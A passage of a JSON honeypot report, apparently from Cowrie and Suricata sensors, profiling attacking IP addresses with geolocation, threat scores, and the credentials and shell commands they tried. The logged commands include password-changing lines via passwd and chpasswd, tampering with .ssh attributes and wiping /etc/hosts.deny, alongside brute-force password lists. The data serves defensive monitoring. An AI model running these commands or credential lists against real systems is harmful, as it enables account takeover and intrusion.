        "Cowrie": 112,
        "Suricata": 84
      }
    },
    "51.15.145.170": {
      "attack_count": 164,
      "first_seen": "2026-05-09T00:52:48.463Z",
      "last_seen": "2026-05-09T01:29:34.255Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "test",
        "root",
        "ansible",
        "dev",
        "devops",
        "git",
        "oracle",
        "proxyuser",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "test2022",
        "123",
        "12345a",
        "123@abc",
        "123qwe",
        "138.3.214.136",
        "777888",
        "Aa111111!",
        "Oracle",
        "abc123!!",
        "ansibleuser",
        "killer",
        "letmein",
        "passw0rd",
        "qweasdzxc",
        "redhat@123",
        "server@321",
        "test!@#$",
        "user123456",
        "winner"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"passw0rd\\nQ7vlNcHQbqBO\\nQ7vlNcHQbqBO\\n\"|passwd",
        "echo -e \"passw0rd\\nQ7vlNcHQbqBO\\nQ7vlNcHQbqBO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:52:48.463000+00:00",
        "last_seen_30d": "2026-05-09T01:30:41.287000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 50
      }
    },
    "217.182.75.183": {
      "attack_count": 144,
      "first_seen": "2026-05-23T09:02:06.051Z",
      "last_seen": "2026-05-23T09:49:54.298Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "admin1",
        "dev",
        "dsm",
        "ivan",
        "josiah",
        "nima",
        "nishi",
        "tester",
        "testuser",
        "ventas",
        "zeeshan"
      ],
      "passwords_attempted": [
        "!QAZzaq1",
        "1",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Dev@2025",
        "ZAQ12wsx",
        "admin123!@#",
        "dsm",
        "ivan",
        "josiah",
        "nima",
        "nishi",
        "test123",
        "tester123!",
        "ventas",
        "zeeshan123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nzebvydnKF2Gf\\nzebvydnKF2Gf\\n\"|passwd",
        "echo -e \"1234\\nzebvydnKF2Gf\\nzebvydnKF2Gf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:02:06.051000+00:00",
        "last_seen_30d": "2026-05-23T09:50:59.050000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "185.16.214.226": {
      "attack_count": 143,
      "first_seen": "2026-05-30T19:30:01.559Z",
      "last_seen": "2026-05-30T19:56:48.440Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "canvas",
        "dev",
        "mmm",
        "splunk",
        "sysadmin",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "111",
        "3245gs5662d34",
        "345gs5662d34",
        "@admin1234",
        "Fw123456@",
        "Pass@2026",
        "PassW0rd",
        "admin@123.com",
        "aroot",
        "canvas",
        "dev@123",
        "mmm",
        "pass",
        "password@123",
        "qwe123@",
        "splunk",
        "zxcvbn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0KFVd2aYhBnz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 61400,
      "as_org": "Start2 LLC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:30:01.559000+00:00",
        "last_seen_30d": "2026-05-30T19:57:50.260000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "108.181.2.243": {
      "attack_count": 138,
      "first_seen": "2026-05-03T14:56:41.307Z",
      "last_seen": "2026-05-31T23:21:11.340Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:56:41.307000+00:00",
        "last_seen_30d": "2026-05-31T23:22:14.915000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "59.124.169.206": {
      "attack_count": 134,
      "first_seen": "2026-05-22T20:39:23.511Z",
      "last_seen": "2026-05-23T07:38:23.886Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhubei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:39:23.511000+00:00",
        "last_seen_30d": "2026-05-23T07:39:28.422000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 67
      }
    },
    "113.239.223.235": {
      "attack_count": 132,
      "first_seen": "2026-05-18T16:17:25.586Z",
      "last_seen": "2026-05-18T16:23:01.679Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:17:25.586000+00:00",
        "last_seen_30d": "2026-05-18T16:24:08.376000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 67
      }
    },
    "141.95.34.214": {
      "attack_count": 126,
      "first_seen": "2026-05-05T03:03:02.485Z",
      "last_seen": "2026-05-30T23:14:37.542Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:03:02.485000+00:00",
        "last_seen_30d": "2026-05-30T23:15:44.244000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "102.223.47.171": {
      "attack_count": 120,
      "first_seen": "2026-05-03T12:07:16.535Z",
      "last_seen": "2026-05-31T16:39:48.894Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 328608,
      "as_org": "Africa-on-Cloud-AS",
      "threat_score": 57.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T12:07:16.535000+00:00",
        "last_seen_30d": "2026-05-31T16:40:50.401000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "41.242.115.84": {
      "attack_count": 119,
      "first_seen": "2026-05-24T02:32:10.979Z",
      "last_seen": "2026-05-24T03:07:12.170Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "demo",
        "ravi",
        "ventas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "P@$$W0rd",
        "QAZwsx123",
        "Qwertyuiop123@",
        "a123456789",
        "changeme",
        "demo",
        "openvpnas",
        "qwer123",
        "ravi",
        "ventas"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"changeme\\nYRtYQRrt6TFk\\nYRtYQRrt6TFk\\n\"|passwd",
        "echo -e \"changeme\\nYRtYQRrt6TFk\\nYRtYQRrt6TFk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 37613,
      "as_org": "Dolphin-Telecom-AS",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:32:10.979000+00:00",
        "last_seen_30d": "2026-05-24T03:08:21.826000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "80.241.210.247": {
      "attack_count": 114,
      "first_seen": "2026-05-29T04:28:34.037Z",
      "last_seen": "2026-05-29T04:48:54.800Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "tunnel",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1qaz2wsx3edc",
        "1qaz@WSX!@#",
        "345gs5662d34",
        "P@55word123",
        "Paris2025",
        "Server@2026",
        "Vv@123456",
        "Welcome1",
        "dan",
        "fjbdfdjkdsfs541544",
        "root123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\nHcCFOOjxIImP\\nHcCFOOjxIImP\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nHcCFOOjxIImP\\nHcCFOOjxIImP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T04:28:34.037000+00:00",
        "last_seen_30d": "2026-05-29T04:49:55.509000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 26
      }
    },
    "34.14.1.145": {
      "attack_count": 72,
      "first_seen": "2026-05-08T09:30:06.793Z",
      "last_seen": "2026-05-08T09:31:21.456Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1862",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:30:06.793000+00:00",
        "last_seen_30d": "2026-05-08T09:32:30.763000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "14.192.157.147": {
      "attack_count": 50,
      "first_seen": "2026-05-22T01:45:44.250Z",
      "last_seen": "2026-05-22T01:51:58.824Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 133933,
      "as_org": "NetSat Private Limited",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:45:44.250000+00:00",
        "last_seen_30d": "2026-05-22T01:53:06.321000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.124.183": {
      "attack_count": 50,
      "first_seen": "2026-05-17T08:24:14.189Z",
      "last_seen": "2026-05-17T08:29:38.622Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:24:14.189000+00:00",
        "last_seen_30d": "2026-05-17T08:30:47.451000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "160.30.142.211": {
      "attack_count": 46,
      "first_seen": "2026-05-25T05:40:09.346Z",
      "last_seen": "2026-05-25T05:45:07.761Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujrat",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T05:40:09.346000+00:00",
        "last_seen_30d": "2026-05-25T05:46:11.792000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "60.23.233.42": {
      "attack_count": 38,
      "first_seen": "2026-05-29T21:53:24.266Z",
      "last_seen": "2026-05-29T21:55:46.449Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:53:24.266000+00:00",
        "last_seen_30d": "2026-05-29T21:56:47.992000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "176.65.131.215": {
      "attack_count": 36,
      "first_seen": "2026-05-05T05:00:14.654Z",
      "last_seen": "2026-05-31T21:08:55.992Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 50.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:00:14.654000+00:00",
        "last_seen_30d": "2026-05-31T21:09:57.211000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "195.88.211.70": {
      "attack_count": 30,
      "first_seen": "2026-05-18T21:52:26.401Z",
      "last_seen": "2026-05-28T17:33:06.256Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 214882,
      "as_org": "Hadi Santosa",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:52:26.401000+00:00",
        "last_seen_30d": "2026-05-28T17:34:16.008000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 16
      }
    },
    "68.220.58.147": {
      "attack_count": 30,
      "first_seen": "2026-05-21T22:20:20.762Z",
      "last_seen": "2026-05-21T22:20:30.405Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "r00t"
      ],
      "passwords_attempted": [
        "12345678",
        "admin123",
        "password1",
        "r00t123",
        "root1234"
      ],
      "commands_executed": [
        "hostname"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:20:20.762000+00:00",
        "last_seen_30d": "2026-05-21T22:26:26.252000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "110.39.228.163": {
      "attack_count": 24,
      "first_seen": "2026-05-10T23:55:35.273Z",
      "last_seen": "2026-05-10T23:58:10.791Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:55:35.273000+00:00",
        "last_seen_30d": "2026-05-10T23:59:12.302000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "148.135.94.99": {
      "attack_count": 24,
      "first_seen": "2026-05-09T01:26:33.920Z",
      "last_seen": "2026-05-21T06:37:30.509Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:26:33.920000+00:00",
        "last_seen_30d": "2026-05-21T06:38:34.678000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "157.90.131.179": {
      "attack_count": 24,
      "first_seen": "2026-05-11T23:52:53.854Z",
      "last_seen": "2026-05-31T03:39:00.359Z",
      "sessions": 4,
